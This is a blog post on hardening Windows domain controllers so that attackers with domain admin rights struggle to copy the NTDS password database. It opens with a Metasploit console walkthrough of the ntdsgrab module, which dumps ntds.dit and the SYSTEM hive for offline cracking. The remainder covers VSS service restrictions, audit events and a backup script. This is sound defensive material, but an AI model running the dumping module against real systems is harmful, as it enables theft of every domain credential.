Domain controller hardening: NTDS grab.
Once hackers gain domain administrator privileges and are able to logon to domain controllers they usually try to dump the NTDS database (see chapter Dumping All The Hashes–ntdsgrab.rb). This way they will try to crack every single domain user’s password, this happened recently when the New York Times was targeted by a cyber-attack. We will see in this post how to make this task more difficult to a hacker who has gained domain admin privileges by modifying some security settings on the Domain controllers.
A ruby script (ntdsgrab.rb made by R3dy) you can use with Backtrack allows you to grab the NTDS database and the SYSTEM registry hive on a domain controller, with this data you will retrieve all the password hashes in the domain and try to crack them. In order to use the script copy it in the /pentest/exploits/framework/modules/auxiliary/admin/smb folder, we call it grab.rb:
Just load the module under the Metasploit console and set up the right options:
msf > use auxiliary/admin/smb/grab msf auxiliary(grab) > set RHOSTS 192.168.206.134 RHOST => 192.168.206.134 msf auxiliary(grab) > set SMBUser Administrator SMBUser => Administrator msf auxiliary(grab) > set SMBDomain LDAP389 SMBDomain => LDAP389 msf auxiliary(grab) > set SMBPass MyPassword SMBPass => MyPassword msf auxiliary(grab) > show options Module options (auxiliary/admin/smb/grab): Name Current Setting Required Description ---- --------------- -------- ----------- LOGDIR /tmp/NTDS_Grab yes This is a directory on your local attacking system used to store the ntds.dit and SYSTEM hive RHOSTS 192.168.206.134 yes The target address range or CIDR identifier RPORT 445 yes Set the SMB service port SMBDomain LDAP389 no The Windows domain to use for authentication SMBPass MyPassword no The password for the specified username SMBSHARE C$ yes The name of a writeable share on the server SMBUser Administrator no The username to authenticate as THREADS 1 yes The number of concurrent threads VSCPATH no The path to the target Volume Shadow Copy WINPATH WINDOWS yes The name of the Windows directory (examples: WINDOWS, WINNT) msf auxiliary(grab) > run |
And launch the module:
The module uses the vssadmin.exe tool in order to create a volume shadow copy of the partition hosting the NTDS database. This tool relies on the VSS service which is started when you backup your domain controller.
We will modify the VSS security settings as follows:
- For the domain controllers you do not backup: You do not need to backup all your Domain Controllers, Microsoft recommends to backup at least two DCs per domain (One holding FSMO roles, one not). In case of disaster you just reinstall from scratch a new DC using dcpromo and wait for replication or via Installation from Media if you want to gain some time. For these DCs you can disable the VSS service, remove the “start and stop service” and “modify security” ACE for every account (SYSTEM account included), finally enable auditing for this service. We enable security filtering on the GPO, the policy applies only to DCs you do not backup, they belong to the LDAP389-DC-NOBACKUP group:
- For the DCs you do backup: We leave VSS starting mode to manual, remove the “start and stop service” ACE for every account and remove the “modify security” ACE for every account except the SYSTEM account, finally enable auditing for this service. The backup will be configured with a scheduled task. We will describe this task later. We enable security filtering on the GPO, the policy applies only to DCs you do backup, they belong to the LDAP389-DC-BACKUP group:
When this configuration is applied the ntdsgrab.rb module will fail on every domain controller:
You can also track failed attempts to launch the VSSadmin.exe tool (Source: VSS, ID: 7001) by monitoring the application log. Because audit of the VSS service is enabled via GPO you can also see in the security log that the domain admin cannot start the VSS service (Audit failure, ID: 4656). Finally you can get the attacking machine IP by looking at the security events just before the audit failure:
In order to have a successful backup on the DCs members of the LDAP389-DC-BACKUP group, despite the security settings that avoid the VSS service to start, we will setup a scheduled task running under the SYSTEM account and launching the backup.cmd batch. In this batch we will use the wbadmin.exe to perform the backup, but before we use the sc sdset command in order to allow the SYSTEM to start the VSS service. Once backup is done we stop the VSS service and apply back the security settings pushed by GPO on the service. Here is the backup.cmd batch:
sc sdset vss D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWLOCRSDRC;;;BA)(A;;CCLCSWLOCRRC;;;IU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD) wbadmin.exe start backup -backupTarget:E: -allCritical -systemState -quiet net stop vss sc sdset vss D:(A;;CCDCLCSWLOCRSDRCWDWO;;;SY)(A;;CCDCLCSWLOCRSDRC;;;BA)(A;;CCLCSWLOCRRC;;;IU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD) |
On the following screenshot you can see the scheduled task and that backup is successful:
Of course, as stated at the beginning of this post the hacker has gained domain admin privileges: He can logon to the DC, gain SYSTEM privileges, change the service security settings using the command line, and use VSSadmin in order to grab the NTDS file. But the above mitigation will make his task more difficult and make him leave more tracks in order you detect his attack more easily (VSS errors in the application log). Well at least he will leave more evidence for your forensics analysis…
As an additional mitigation technique, consider using a RODC on remote sites if you can: Configure the password replication policy to store only machine and user accounts passwords in the NTDS database belonging to the remote site. If the RODC is compromised you can force a password reset for all the users who had their credentials cached in the NTDS database.
This post is also available in: French
